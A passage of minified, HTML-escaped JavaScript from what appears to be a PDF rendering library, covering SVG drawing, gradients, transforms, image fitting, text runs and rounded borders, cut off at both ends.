t=(e||&quot;&quot;).trim().replace(/,/g,&quot; &quot;).replace(/(\d)-(\d)/g,&quot;$1 -$2&quot;).split(/\s+/);t.length%2!==0&amp;&amp;(t=t.slice(0,-1));const r=t.map(parseFloat);return fSe(r)},dW=(e,t)=&gt;{t.length&gt;0&amp;&amp;(e.moveTo(t[0][0],t[0][1]),t.slice(1).forEach(r=&gt;e.lineTo(r[0],r[1])))},hSe=(e,t)=&gt;{const r=d8(t.props.points||&quot;&quot;);dW(e,r)},mSe=(e,t)=&gt;{const r=d8(t.props.points||&quot;&quot;);dW(e,r),e.closePath()},pSe=(e,t)=&gt;{if(!t.box||!t.image?.data)return;const{x:r=0,y:n=0}=t.props,{width:i,height:s,opacity:o}=t.style,l=t.box.paddingLeft||0,c=t.box.paddingLeft||0;if(i===0||s===0){console.warn(`Image with src &#039;${t.props.href}&#039; skipped due to invalid dimensions`);return}if(typeof i==&quot;string&quot;||typeof s==&quot;string&quot;){console.warn(`Image with src &#039;${t.props.href}&#039; skipped due to percentage width or height`);return}e.save(),e.fillOpacity(o||1).image(t.image.data,r+c,n+l,{width:i,height:s}),e.restore()},Cb=4*((Math.sqrt(2)-1)/3),_E=(e,t)=&gt;{if(!t.box||!t.style)return;const{top:r,left:n,width:i,height:s}=t.box,{borderTopLeftRadius:o=0,borderTopRightRadius:l=0,borderBottomRightRadius:c=0,borderBottomLeftRadius:d=0}=t.style,u=Math.min(l,.5*i,.5*s),h=u*(1-Cb);e.moveTo(n+u,r),e.lineTo(n+i-u,r),e.bezierCurveTo(n+i-h,r,n+i,r+h,n+i,r+u);const p=Math.min(c,.5*i,.5*s),A=p*(1-Cb);e.lineTo(n+i,r+s-p),e.bezierCurveTo(n+i,r+s-A,n+i-A,r+s,n+i-p,r+s);const y=Math.min(d,.5*i,.5*s),v=y*(1-Cb);e.lineTo(n+y,r+s),e.bezierCurveTo(n+v,r+s,n,r+s-v,n,r+s-y);const w=Math.min(o,.5*i,.5*s),j=w*(1-Cb);e.lineTo(n,r+w),e.bezierCurveTo(n,r+j,n+j,r,n+w,r),e.closePath(),e.clip()},gSe=(e,t,r)=&gt;{const{operation:n,value:i}=t;switch(n){case&quot;scale&quot;:{const[s,o]=i;e.scale(s,o,{origin:r});break}case&quot;rotate&quot;:{const[s]=i;e.rotate(s,{origin:r});break}case&quot;translate&quot;:{const[s,o=0]=i;e.translate(s,o,{origin:r});break}case&quot;skew&quot;:{const[s=0,o=0]=i,l=s*Math.PI/180,c=o*Math.PI/180,d=Math.tan(l),u=Math.tan(c);let h=0,p=0;if(r!=null){[h,p]=Array.from(r);const A=h+d*p,y=p+u*h;h-=A,p-=y}e.transform(1,u,d,1,h,p);break}case&quot;matrix&quot;:{e.transform(...i);break}default:console.error(`Transform operation: &#039;${n}&#039; doesn&#039;t supported`)}},fW=(e,t)=&gt;{if(!t.origin)return;const{props:r,style:n}=t,i=[t.origin.left,t.origin.top],s=&quot;transform&quot;in r?r.transform:void 0;(n?.transform||s||[]).forEach(l=&gt;{gSe(e,l,i)})},ASe=e=&gt;{const t=Y6e(z6e(q6e(e.props?.d||&quot;&quot;)));if(!t.length)return[0,0,0,0];const r=[1/0,1/0,-1/0,-1/0];for(let n=0,i=t.length;n&lt;i;n+=1){const s=t[n].slice(1);for(let o=0;o&lt;s.length;o+=2)s[o+0]&lt;r[0]&amp;&amp;(r[0]=s[o+0]),s[o+1]&lt;r[1]&amp;&amp;(r[1]=s[o+1]),s[o+0]&gt;r[2]&amp;&amp;(r[2]=s[o+0]),s[o+1]&gt;r[3]&amp;&amp;(r[3]=s[o+1])}return r},xSe=e=&gt;{const t=e.props?.r||0,r=e.props?.cx||0,n=e.props?.cy||0;return[r-t,n-t,r+t,n+t]},vSe=e=&gt;{const t=e.props?.cx||0,r=e.props?.cy||0,n=e.props?.rx||0,i=e.props?.ry||0;return[t-n,r-i,t+n,r+i]},ySe=e=&gt;{const t=e.props?.x1||0,r=e.props?.y1||0,n=e.props?.x2||0,i=e.props?.y2||0;return[Math.min(t,n),Math.min(r,i),Math.max(t,n),Math.max(r,i)]},bSe=e=&gt;{const t=e.props?.x||0,r=e.props?.y||0,n=e.props?.width||0,i=e.props?.height||0;return[t,r,t+n,r+i]},dQ=e=&gt;Math.max(-1/0,...e),fQ=e=&gt;Math.min(1/0,...e),hQ=e=&gt;{const t=d8(e.props?.points),r=t.map(i=&gt;i[0]),n=t.map(i=&gt;i[1]);return[fQ(r),fQ(n),dQ(r),dQ(n)]},wSe={[uH]:bSe,[dH]:ySe,[cH]:ASe,[mH]:xSe,[pH]:vSe,[gH]:hQ,[AH]:hQ},hW=e=&gt;{const t=wSe[e.type];return t?t(e):[0,0,0,0]},ESe=(e,t)=&gt;{if(!t.props||!(&quot;strokeWidth&quot;in t.props))return;const r=t.props.strokeWidth;r&amp;&amp;e.lineWidth(r)},CSe=(e,t)=&gt;{if(!t.props||!(&quot;stroke&quot;in t.props))return;const r=t.props.stroke;r&amp;&amp;e.strokeColor(r)},ISe=(e,t)=&gt;{if(!t.props||!(&quot;opacity&quot;in t.props))return;const r=t.props.opacity;Oa(r)||e.opacity(r)},jSe=(e,t)=&gt;{if(!t.props||!(&quot;fillOpacity&quot;in t.props))return;const r=t.props.fillOpacity||null;Oa(r)||e.fillOpacity(r)},NSe=(e,t)=&gt;{if(!t.props||!(&quot;strokeOpacity&quot;in t.props))return;const r=t.props?.strokeOpacity;Oa(r)||e.strokeOpacity(r)},SSe=(e,t)=&gt;{if(!t.props||!(&quot;strokeLinejoin&quot;in t.props))return;const r=t.props.strokeLinejoin;r&amp;&amp;e.lineJoin(r)},BSe=(e,t)=&gt;{if(!t.props||!(&quot;strokeLinecap&quot;in t.props))return;const r=t.props?.strokeLinecap;r&amp;&amp;e.lineCap(r)},kSe=(e,t)=&gt;{if(!t.props||!(&quot;strokeDasharray&quot;in t.props))return;const r=t.props?.strokeDasharray||null;r&amp;&amp;e.dash(r.split(/[\s,]+/).map(Number))},_Se=e=&gt;!e.props||!(&quot;fill&quot;in e.props)||typeof e.props.fill==&quot;string&quot;?!1:e.props.fill?.type===Ype,DSe=e=&gt;!e.props||!(&quot;fill&quot;in e.props)||typeof e.props.fill==&quot;string&quot;?!1:e.props.fill?.type===Zpe;function TSe(e,t){const r=e[0]*t[0]+e[2]*t[1],n=e[1]*t[0]+e[3]*t[1],i=e[0]*t[2]+e[2]*t[3],s=e[1]*t[2]+e[3]*t[3],o=e[0]*t[4]+e[2]*t[5]+e[4],l=e[1]*t[4]+e[3]*t[5]+e[5];return[r,n,i,s,o,l]}const mW=(e,t,r,n)=&gt;{const s=t.map(o=&gt;{switch(o.operation){case&quot;scale&quot;:{const l=o.value;return[l[0],0,0,l[1],0,0]}case&quot;translate&quot;:{const l=o.value;let c=l[0]||0,d=l[1]||0;return n===&quot;objectBoundingBox&quot;&amp;&amp;(c=(r[2]-r[0])*c,d=(r[3]-r[1])*d),[1,0,0,1,c,d]}case&quot;rotate&quot;:{const l=o.value,c=Math.cos(l[0]),d=Math.sin(l[0]);return[c,d,-d,c,0,0]}case&quot;skew&quot;:{const l=o.value;return[1,Math.tan(l[0]),Math.tan(l[1]),1,0,0]}case&quot;matrix&quot;:{const l=o.value;let c=l[4]||0,d=l[5]||0;return n===&quot;objectBoundingBox&quot;&amp;&amp;(c=(r[2]-r[0])*c,d=(r[3]-r[1])*d),[l[0],l[1],l[2],l[3],c,d]}default:return[1,0,0,1,0,0]}}).reduce(TSe,[1,0,0,1,0,0]);e.setTransform(...s)},RSe=(e,t)=&gt;{if(!t.props||!(&quot;fill&quot;in t.props))return;const r=hW(t),n=t.props?.fill;if(!n)return;const i=n.props.gradientUnits||&quot;objectBoundingBox&quot;,s=n.props.gradientTransform||[];let o=n.props.x1||0,l=n.props.y1||0,c=n.props.x2||1,d=n.props.y2||0;if(i===&quot;objectBoundingBox&quot;){const h=r[2]-r[0],p=r[3]-r[1],A=r[0],y=r[1];o=h*o+A,l=p*l+y,c=h*c+A,d=p*d+y}const u=e.linearGradient(o,l,c,d);mW(u,s,r,i),n.children?.forEach(h=&gt;{u.stop(h.props.offset,h.props.stopColor,h.props.stopOpacity)}),e.fill(u)},PSe=(e,t)=&gt;{if(!t.props||!(&quot;fill&quot;in t.props))return;const r=hW(t),n=t.props?.fill;if(!n)return;const i=n.props.gradientUnits||&quot;objectBoundingBox&quot;,s=n.props.gradientTransform||[];let o=n.props.r||.5,l=n.props.cx||.5,c=n.props.cy||.5,d=n.props.fx||l,u=n.props.fy||c;if(i===&quot;objectBoundingBox&quot;){const p=r[2]-r[0],A=r[3]-r[1],y=r[0],v=r[1];o=o*p,l=p*l+y,c=A*c+v,d=p*d+y,u=A*u+v}const h=e.radialGradient(l,c,0,d,u,o);mW(h,s,r,i),n.children?.forEach(p=&gt;{h.stop(p.props.offset,p.props.stopColor,p.props.stopOpacity)}),e.fill(h)},QSe=(e,t)=&gt;{if(!t.props||!(&quot;fill&quot;in t.props))return;const r=t.props?.fill;r&amp;&amp;e.fillColor(r)},FSe=(e,t)=&gt;_Se(t)?RSe(e,t):DSe(t)?PSe(e,t):QSe(e,t),OSe=(e,t)=&gt;{const r=t.props||{};&quot;fill&quot;in r&amp;&amp;&quot;stroke&quot;in r&amp;&amp;r.fill&amp;&amp;r.stroke?e.fillAndStroke(r.fillRule):&quot;fill&quot;in r&amp;&amp;r.fill?e.fill(r.fillRule):&quot;stroke&quot;in r&amp;&amp;r.stroke?e.stroke():(e.save(),e.opacity(0),e.fill(null),e.restore())},mQ=()=&gt;{},LSe={[ZS]:mQ,[Qg]:mQ,[cH]:rSe,[uH]:nSe,[dH]:iSe,[qpe]:aSe,[rr]:dSe,[mH]:oSe,[Gm]:pSe,[pH]:sSe,[gH]:mSe,[AH]:hSe},pW=(e,t)=&gt;{const r=LSe[t.type];r?r(e,t):console.warn(`SVG node of type ${t.type} is not currently supported`)},MSe=(e,t)=&gt;{BSe(e,t),kSe(e,t),SSe(e,t),ESe(e,t),CSe(e,t),FSe(e,t),NSe(e,t),jSe(e,t),ISe(e,t),fW(e,t),pW(e,t),OSe(e,t)},USe=(e,t)=&gt;{if(!t.props||!(&quot;clipPath&quot;in t.props))return;const r=t.props.clipPath;r&amp;&amp;((r.children||[]).forEach(i=&gt;pW(e,i)),e.clip())},gW=(e,t)=&gt;{(t.children||[]).forEach(n=&gt;{e.save(),USe(e,n),MSe(e,n),gW(e,n),e.restore()})},zSe=(e,t)=&gt;{if(!t.box)return;const{width:r,height:n}=t.box,{viewBox:i,preserveAspectRatio:s}=t.props,{meetOrSlice:o=&quot;meet&quot;,align:l=&quot;xMidYMid&quot;}=s||{};if(i==null||r==null||n==null)return;const c=i?.minX||0,d=i?.minY||0,u=i?.maxX||r,h=i?.maxY||n,p=u/h,A=r/n,y=r/u,v=n/h;if(l===&quot;none&quot;){e.scale(y,v),e.translate(-c,-d);return}if(p&lt;A&amp;&amp;o===&quot;meet&quot;||p&gt;=A&amp;&amp;o===&quot;slice&quot;)switch(e.scale(v,v),l){case&quot;xMinYMin&quot;:case&quot;xMinYMid&quot;:case&quot;xMinYMax&quot;:e.translate(-c,-d);break;case&quot;xMidYMin&quot;:case&quot;xMidYMid&quot;:case&quot;xMidYMax&quot;:e.translate(-c-(u-r*h/n)/2,-d);break;default:e.translate(-c-(u-r*h/n),-d)}else switch(e.scale(y,y),l){case&quot;xMinYMin&quot;:case&quot;xMidYMin&quot;:case&quot;xMaxYMin&quot;:e.translate(-c,-d);break;case&quot;xMinYMid&quot;:case&quot;xMidYMid&quot;:case&quot;xMaxYMid&quot;:e.translate(-c,-d-(h-n*u/r)/2);break;default:e.translate(-c,-d-(h-n*u/r))}},$Se=(e,t)=&gt;{if(!t.box)return;const{top:r,left:n}=t.box,i=t.box.paddingLeft||0,s=t.box.paddingTop||0;e.translate(n+i,r+s)},HSe=(e,t)=&gt;{e.save(),_E(e,t),$Se(e,t),zSe(e,t),gW(e,t),e.restore()},pQ={value:&quot;#000&quot;,opacity:1},f8=e=&gt;{if(!e)return pQ;const t=Fv.get(e);if(!t)return pQ;const r=Fv.to.hex(t.value.slice(0,3)),n=t.value[3];return{value:r,opacity:n}},qSe=/^#.+/,GSe=e=&gt;e.match(qSe),VSe=(e,t)=&gt;{const{xOffset:r=0,yOffset:n=0,width:i,height:s,image:o}=t;e.translate(-i+r,-s+n),e.image(o,0,0,{fit:[i,s],align:&quot;center&quot;,valign:&quot;bottom&quot;})},WSe=(e,t)=&gt;{if(!t.glyphs||!t.positions)return;const r=t.attributes.font?.[0];if(!r)return;e.save();const n=r.glyphForCodePoint(32),i=r.glyphForCodePoint(65532);let s=0;for(let o=0;o&lt;t.glyphs.length;o+=1){const l=t.positions[o],c=t.glyphs[o];s+=l.xAdvance||0,c.id===i.id&amp;&amp;t.attributes.attachment&amp;&amp;(e.translate(s,l.yOffset||0),VSe(e,t.attributes.attachment),t.glyphs[o]=n,s=0)}e.restore()},KSe=(e,t)=&gt;{if(!t.glyphs||!t.positions)return;const r=t.attributes.font?.[0];if(!r)return;const{fontSize:n,link:i}=t.attributes,s=f8(t.attributes.color),o=Oa(t.attributes.opacity)?s.opacity:t.attributes.opacity,{height:l=0,descent:c=0,xAdvance:d=0}=t;e.fillColor(s.value),e.fillOpacity(o),i&amp;&amp;(GSe(i)?e.goTo(0,-l-c,d,l,i.slice(1)):e.link(0,-l-c,d,l,i)),WSe(e,t),e.font(r.type===&quot;STANDARD&quot;?r.fullName:r,n);try{uW(e,t.glyphs,t.positions,0,0)}catch(u){console.log(u)}e.translate(d,0)},YSe=(e,t,r)=&gt;{const n=f8(r);e.save(),e.fillOpacity(n.opacity),e.rect(t.x,t.y,t.width,t.height),e.fill(n.value),e.restore()},ZSe=(e,t)=&gt;{if(e.save(),e.lineWidth(t.rect.height),e.strokeOpacity(t.opacity),/dashed/.test(t.style)?e.dash(3*t.rect.height,{}):/dotted/.test(t.style)&amp;&amp;e.dash(t.rect.height,{}),/wavy/.test(t.style)){const r=Math.max(2,t.rect.height);let n=1.1*r;const i=Math.floor(t.rect.width/(2*n)),o=(t.rect.width-i*2*n)/i/2;n+=o;const l=t.rect.y+r,c=t.rect.y-r;let{x:d}=t.rect;e.moveTo(t.rect.x,t.rect.y);for(let u=0;u&lt;i;u+=1)e.bezierCurveTo(d+n,l,d+n,c,d+2*n,t.rect.y),d+=2*n}else e.moveTo(t.rect.x,t.rect.y),e.lineTo(t.rect.x+t.rect.width,t.rect.y),/double/.test(t.style)&amp;&amp;(e.moveTo(t.rect.x,t.rect.y+t.rect.height*2),e.lineTo(t.rect.x+t.rect.width,t.rect.y+t.rect.height*2));e.stroke(t.color),e.restore()},JSe=(e,t)=&gt;{if(!t.box)return;const r=t.ascent||0;e.save(),e.translate(t.box.x,t.box.y+r);for(let n=0;n&lt;t.runs.length;n+=1){const i=t.runs[n],s=n===t.runs.length-1;if(i.attributes.backgroundColor){const o=i.xAdvance??0,l=s?t.overflowRight??0:0,c={x:0,y:-r,height:t.box.height,width:o-l};YSe(e,c,i.attributes.backgroundColor)}KSe(e,i)}if(e.restore(),e.save(),e.translate(t.box.x,t.box.y),t.decorationLines)for(let n=0;n&lt;t.decorationLines.length;n+=1){const i=t.decorationLines[n];ZSe(e,i)}e.restore()},XSe=(e,t)=&gt;{t.forEach(r=&gt;{JSe(e,r)})},eBe=(e,t)=&gt;{if(!t.box||!t.lines)return;const{top:r,left:n}=t.box,i=[t.lines],s=t.box?.paddingTop||0,o=t.box?.paddingLeft||0,l=t.lines[0]?t.lines[0].box.y:0,c=t.alignOffset||0;e.save(),e.translate(n+o-c,r+s-l),i.forEach(d=&gt;{XSe(e,d)}),e.restore()},tBe=(e,t)=&gt;{if(!t.box)return;const{width:r,height:n}=t.box,s=(t.props?.dpi||72)/72;e.addPage({size:[r,n],margin:0,userUnit:s})},rBe=(e,t)=&gt;{if(!t.box)return;const{top:r,left:n}=t.box,i=t?.children?.[0].value||&quot;&quot;,s=t.style?.backgroundColor;e.note(n,r,0,0,i,{color:s})},nBe=(e,t)=&gt;{const r=t.image.data;let n;return typeof r==&quot;string&quot;&amp;&amp;(n=e._imageRegistry[r]),n||(n=e.openImage(r)),n.obj||n.embed(e),n},Ud=e=&gt;!Number.isNaN(parseFloat(e))&amp;&amp;Number.isFinite(e),AW=(e,t,r,n,i,s)=&gt;{const o=e/t,l=r/n,c=Po(i??null),d=Po(s??null),u=c?c.percent:.5,h=d?d.percent:.5;if(o&gt;l){const w=t,j=w*l,E=Ud(s)?s:0,S=Ud(i)?i:(e-j)*u;return{width:j,height:w,xOffset:S,yOffset:E}}const p=e,A=p/l,y=Ud(i)?i:0,v=Ud(s)?s:(t-A)*h;return{width:p,height:A,yOffset:v,xOffset:y}},xW=(e,t,r,n,i,s)=&gt;{const o=r,l=n,c=Po(i??null),d=Po(s??null),u=c?c.percent:.5,h=d?d.percent:.5,p=Ud(i)?i:(e-o)*u,A=Ud(s)?s:(t-l)*h;return{width:o,height:l,xOffset:p,yOffset:A}},iBe=(e,t,r,n,i,s)=&gt;{const o=r/n,l=e/t,c=Po(i??null),d=Po(s??null),u=c?c.percent:.5,h=d?d.percent:.5;if(l&gt;o){const w=e,j=w/o,E=Ud(i)?i:0,S=Ud(s)?s:(t-j)*h;return{width:w,height:j,yOffset:S,xOffset:E}}const p=t,A=p*o,y=Ud(i)?i:(e-A)*u,v=Ud(s)?s:0;return{width:A,height:p,xOffset:y,yOffset:v}},aBe=(e,t,r,n,i,s)=&gt;{const o=AW(e,t,r,n,i,s),l=xW(e,t,r,n,i,s);return o.width&lt;l.width?o:l},sBe=(e,t,r,n)=&gt;({width:e,height:t,xOffset:Po(r??null)?0:r||0,yOffset:Po(n??null)?0:n||0}),oBe=(e=&quot;fill&quot;,t,r,n,i,s,o)=&gt;{switch(e){case&quot;contain&quot;:return AW(t,r,n,i,s,o);case&quot;cover&quot;:return iBe(t,r,n,i,s,o);case&quot;none&quot;:return xW(t,r,n,i,s,o);case&quot;scale-down&quot;:return aBe(t,r,n,i,s,o);default:return sBe(t,r,s,o)}},lBe=(e,t,r)=&gt;{if(!t.box||!t.image)return;const{left:n,top:i}=t.box,s=t.style?.opacity,o=t.style?.objectFit,l=t.style?.objectPositionX,c=t.style?.objectPositionY,d=t.box.paddingTop||0,u=t.box.paddingRight||0,h=t.box.paddingBottom||0,p=t.box.paddingLeft||0,A=r.imageCache||new Map,{width:y,height:v,xOffset:w,yOffset:j}=oBe(o,t.box.width-p-u,t.box.height-d-h,t.image.width,t.image.height,l,c);if(t.image.data)if(y!==0&amp;&amp;v!==0){const E=t.image.key,S=A.get(E)||nBe(e,t);E&amp;&amp;A.set(E,S);const _=Oa(s)?1:s;e.fillOpacity(_).image(S,n+p+w,i+d+j,{width:y,height:v})}else console.warn(`Image with src &#039;${JSON.stringify(t.props.src||t.props.source)}&#039; skipped due to invalid dimensions`)},cBe=(e,t,r)=&gt;{e.save(),_E(e,t),lBe(e,t,r),e.restore()},uBe=&quot;#a1c6e7&quot;,dBe=&quot;#c4deb9&quot;,fBe=&quot;#f8cca1&quot;,hBe=(e,t)=&gt;{if(!t.box)return;const{left:r,top:n,width:i,height:s,paddingLeft:o=0,paddingTop:l=0,paddingRight:c=0,paddingBottom:d=0,borderLeftWidth:u=0,borderTopWidth:h=0,borderRightWidth:p=0,borderBottomWidth:A=0}=t.box;e.fillColor(uBe).opacity(.5).rect(r+o+u,n+l+h,i-o-c-p-u,s-l-d-h-A).fill()},mBe=(e,t)=&gt;{if(!t.box)return;const{left:r,top:n,width:i,height:s,paddingLeft:o=0,paddingTop:l=0,paddingRight:c=0,paddingBottom:d=0,borderLeftWidth:u=0,borderTopWidth:h=0,borderRightWidth:p=0,borderBottomWidth:A=0}=t.box;e.fillColor(dBe).opacity(.5),e.rect(r+o+u,n+h,i-c-o-u-p,l).fill(),e.rect(r+u,n+h,o,s-h-A).fill(),e.rect(r+i-c-p,n+h,c,s-h-A).fill(),e.rect(r+o+u,n+s-d-A,i-c-o-u-p,d).fill()},pBe=(e,t)=&gt;{if(!t.box)return;const{left:r,top:n,width:i,height:s}=t.box,{marginLeft:o=0,marginTop:l=0,marginRight:c=0,marginBottom:d=0}=t.box;e.fillColor(fBe).opacity(.5),e.rect(r,n-l,i,l).fill(),e.rect(r-o,n-l,o,s+l+d).fill(),e.rect(r+i,n-l,c,s+l+d).fill(),e.rect(r,n+s,i,d).fill()},gBe=(e,t)=&gt;{if(!t.box)return;const{left:r,top:n,width:i,height:s}=t.box,{marginLeft:o=0,marginTop:l=0,marginRight:c=0,marginBottom:d=0}=t.box,u=Math.round(i+o+c),h=Math.round(s+l+d);e.fontSize(6).opacity(1).fillColor(&quot;black&quot;).text(`${u} x ${h}`,r-o,Math.max(n-l-4,1),{width:1/0})},ABe=(e,t)=&gt;{t.origin&amp;&amp;e.circle(t.origin.left,t.origin.top,3).fill(&quot;red&quot;).circle(t.origin.left,t.origin.top,5).stroke(&quot;red&quot;)},xBe=(e,t)=&gt;{t.props&amp;&amp;(!(&quot;debug&quot;in t.props)||!t.props.debug||(e.save(),hBe(e,t),mBe(e,t),pBe(e,t),gBe(e,t),ABe(e,t),e.restore()))},vBe=[&quot;dash&quot;,&quot;clip&quot;,&quot;save&quot;,&quot;path&quot;,&quot;fill&quot;,&quot;font&quot;,&quot;text&quot;,&quot;rect&quot;,&quot;scale&quot;,&quot;moveTo&quot;,&quot;lineTo&quot;,&quot;stroke&quot;,&quot;rotate&quot;,&quot;circle&quot;,&quot;lineCap&quot;,&quot;opacity&quot;,&quot;ellipse&quot;,&quot;polygon&quot;,&quot;restore&quot;,&quot;lineJoin&quot;,&quot;fontSize&quot;,&quot;fillColor&quot;,&quot;lineWidth&quot;,&quot;translate&quot;,&quot;miterLimit&quot;,&quot;strokeColor&quot;,&quot;fillOpacity&quot;,&quot;roundedRect&quot;,&quot;fillAndStroke&quot;,&quot;strokeOpacity&quot;,&quot;bezierCurveTo&quot;,&quot;quadraticCurveTo&quot;,&quot;linearGradient&quot;,&quot;radialGradient&quot;],yBe=e=&gt;{const t=vBe.reduce((r,n)=&gt;({...r,[n]:(...i)=&gt;(e[n](...i),t)}),{});return t},bBe=(e,t)=&gt;{if(!t.box)return;const{top:r,left:n,width:i,height:s}=t.box,o=t.box.paddingTop||0,l=t.box.paddingLeft||0,c=t.box.paddingRight||0,d=t.box.paddingBottom||0,u=i-l-c,h=s-o-d;(!u||!h)&amp;&amp;console.warn(&quot;Canvas element has null width or height. Please provide valid values via the `style` prop in order to correctly render it.&quot;),e.save().translate(n+l,r+o),t.props.paint&amp;&amp;t.props.paint(yBe(e),u,h),e.restore()},_i=4*((Math.sqrt(2)-1)/3),wBe=(e,t,r,n,i)=&gt;{const{top:s,left:o,width:l,height:c}=t,{borderTopWidth:d,borderRightWidth:u,borderLeftWidth:h}=r;e.moveTo(o+i,s),e.lineTo(o+l-n,s);const p=n*(1-_i);e.bezierCurveTo(o+l-p,s,o+l,s+p,o+l,s+n);const A=s+Math.max(d,n);e.lineTo(o+l,A),e.lineTo(o+l-u,A);const y=Math.max(n-u,0),v=Math.max(n-d,0),w=y*(1-_i),j=v*(1-_i);e.bezierCurveTo(o+l-u,s+d+j,o+l-u-w,s+d,o+l-u-y,s+d),e.lineTo(o+Math.max(i,h),s+d);const E=Math.max(i-h,0),S=Math.max(i-d,0),_=E*(1-_i),C=S*(1-_i),Q=s+Math.max(d,i);e.bezierCurveTo(o+h+_,s+d,o+h,s+d+C,o+h,Q),e.lineTo(o,Q),e.lineTo(o,s+i);const R=i*(1-_i);if(e.bezierCurveTo(o,s+R,o+R,s,o+i,s),e.closePath(),e.clip(),u){const T=-d/u;e.moveTo(o+l/2,T*(-l/2)+s),e.lineTo(o+l,s),e.lineTo(o,s),e.lineTo(o,s+c),e.closePath(),e.clip()}if(h){const T=-d/h;e.moveTo(o+l/2,T*(-l/2)+s),e.lineTo(o,s),e.lineTo(o+l,s),e.lineTo(o+l,s+c),e.closePath(),e.clip()}},EBe=(e,t,r,n,i)=&gt;{const{top:s,left:o,width:l}=t,{borderTopColor:c,borderTopWidth:d,borderTopStyle:u,borderRightWidth:h,borderLeftWidth:p}=r,A=i*(1-_i),y=n*(1-_i);e.moveTo(o,s+Math.max(i,d)),e.bezierCurveTo(o,s+A,o+A,s,o+i,s),e.lineTo(o+l-n,s),e.bezierCurveTo(o+l-y,s,o+l,s+y,o+l,s+n),e.strokeColor(c),e.lineWidth(Math.max(h,d,p)*2),u===&quot;dashed&quot;?e.dash(d*2,{space:d*1.2}):u===&quot;dotted&quot;&amp;&amp;e.dash(d,{space:d*1.2}),e.stroke(),e.undash()},CBe=(e,t,r,n,i)=&gt;{const{top:s,left:o,width:l,height:c}=t,{borderTopWidth:d,borderRightWidth:u,borderBottomWidth:h}=r;e.moveTo(o+l,s+n),e.lineTo(o+l,s+c-i);const p=i*(1-_i);e.bezierCurveTo(o+l,s+c-p,o+l-p,s+c,o+l-i,s+c);const A=o+l-Math.max(u,i);e.lineTo(A,s+c),e.lineTo(A,s+c-h);const y=Math.max(i-u,0),v=Math.max(i-h,0),w=y*(1-_i),j=v*(1-_i);e.bezierCurveTo(o+l-u-w,s+c-h,o+l-u,s+c-h-j,o+l-u,s+c-Math.max(i,h)),e.lineTo(o+l-u,s+Math.max(n,d));const E=Math.max(n-u,0),S=Math.max(n-d,0),_=E*(1-_i),C=S*(1-_i),Q=o+l-Math.max(n,u);e.bezierCurveTo(o+l-u,s+d+C,o+l-u-_,s+d,Q,s+d),e.lineTo(Q,s),e.lineTo(o+l-n,s);const R=n*(1-_i);if(e.bezierCurveTo(o+l-R,s,o+l,s+R,o+l,s+n),e.closePath(),e.clip(),d){const T=-d/u;e.moveTo(o+l/2,T*(-l/2)+s),e.lineTo(o+l,s),e.lineTo(o+l,s+c),e.lineTo(o,s+c),e.closePath(),e.clip()}if(h){const T=h/u;e.moveTo(o+l/2,T*(-l/2)+s+c),e.lineTo(o+l,s+c),e.lineTo(o+l,s),e.lineTo(o,s),e.closePath(),e.clip()}},IBe=(e,t,r,n,i)=&gt;{const{top:s,left:o,width:l,height:c}=t,{borderRightColor:d,borderRightStyle:u,borderRightWidth:h,borderTopWidth:p,borderBottomWidth:A}=r,y=i*(1-_i),v=n*(1-_i);e.moveTo(o+l-n,s),e.bezierCurveTo(o+l-v,s,o+l,s+v,o+l,s+n),e.lineTo(o+l,s+c-i),e.bezierCurveTo(o+l,s+c-y,o+l-y,s+c,o+l-i,s+c),e.strokeColor(d),e.lineWidth(Math.max(h,p,A)*2),u===&quot;dashed&quot;?e.dash(h*2,{space:h*1.2}):u===&quot;dotted&quot;&amp;&amp;e.dash(h,{space:h*1.2}),e.stroke(),e.undash()},jBe=(e,t,r,n,i)=&gt;{const{top:s,left:o,width:l,height:c}=t,{borderBottomWidth:d,borderRightWidth:u,borderLeftWidth:h}=r;e.moveTo(o+l-i,s+c),e.lineTo(o+n,s+c);const p=n*(1-_i);e.bezierCurveTo(o+p,s+c,o,s+c-p,o,s+c-n);const A=s+c-Math.max(d,n);e.lineTo(o,A),e.lineTo(o+h,A);const y=Math.max(n-h,0),v=Math.max(n-d,0),w=y*(1-_i),j=v*(1-_i);e.bezierCurveTo(o+h,s+c-d-j,o+h+w,s+c-d,o+h+y,s+c-d),e.lineTo(o+l-Math.max(i,u),s+c-d);const E=Math.max(i-u,0),S=Math.max(i-d,0),_=E*(1-_i),C=S*(1-_i),Q=s+c-Math.max(d,i);e.bezierCurveTo(o+l-u-_,s+c-d,o+l-u,s+c-d-C,o+l-u,Q),e.lineTo(o+l,Q),e.lineTo(o+l,s+c-i);const R=i*(1-_i);if(e.bezierCurveTo(o+l,s+c-R,o+l-R,s+c,o+l-i,s+c),e.closePath(),e.clip(),u){const T=d/u;e.moveTo(o+l/2,T*(-l/2)+s+c),e.lineTo(o+l,s+c),e.lineTo(o,s+c),e.lineTo(o,s),e.closePath(),e.clip()}if(h){const T=-d/h;e.moveTo(o+l/2,T*(l/2)+s+c),e.lineTo(o,s+c),e.lineTo(o+l,s+c),e.lineTo(o+l,s),e.closePath(),e.clip()}},NBe=(e,t,r,n,i)=&gt;{const{top:s,left:o,width:l,height:c}=t,{borderBottomColor:d,borderBottomStyle:u,borderBottomWidth:h,borderRightWidth:p,borderLeftWidth:A}=r,y=n*(1-_i),v=i*(1-_i);e.moveTo(o+l,s+c-i),e.bezierCurveTo(o+l,s+c-v,o+l-v,s+c,o+l-i,s+c),e.lineTo(o+n,s+c),e.bezierCurveTo(o+y,s+c,o,s+c-y,o,s+c-n),e.strokeColor(d),e.lineWidth(Math.max(h,p,A)*2),u===&quot;dashed&quot;?e.dash(h*2,{space:h*1.2}):u===&quot;dotted&quot;&amp;&amp;e.dash(h,{space:h*1.2}),e.stroke(),e.undash()},SBe=(e,t,r,n,i)=&gt;{const{top:s,left:o,width:l,height:c}=t,{borderTopWidth:d,borderLeftWidth:u,borderBottomWidth:h}=r;e.moveTo(o,s+c-n),e.lineTo(o,s+i);const p=i*(1-_i);e.bezierCurveTo(o,s+p,o+p,s,o+i,s);const A=o+Math.max(u,i);e.lineTo(A,s),e.lineTo(A,s+d);const y=Math.max(i-u,0),v=Math.max(i-d,0),w=y*(1-_i),j=v*(1-_i);e.bezierCurveTo(o+u+w,s+d,o+u,s+d+j,o+u,s+Math.max(i,d)),e.lineTo(o+u,s+c-Math.max(n,h));const E=Math.max(n-u,0),S=Math.max(n-h,0),_=E*(1-_i),C=S*(1-_i),Q=o+Math.max(n,u);e.bezierCurveTo(o+u,s+c-h-C,o+u+_,s+c-h,Q,s+c-h),e.lineTo(Q,s+c),e.lineTo(o+n,s+c);const 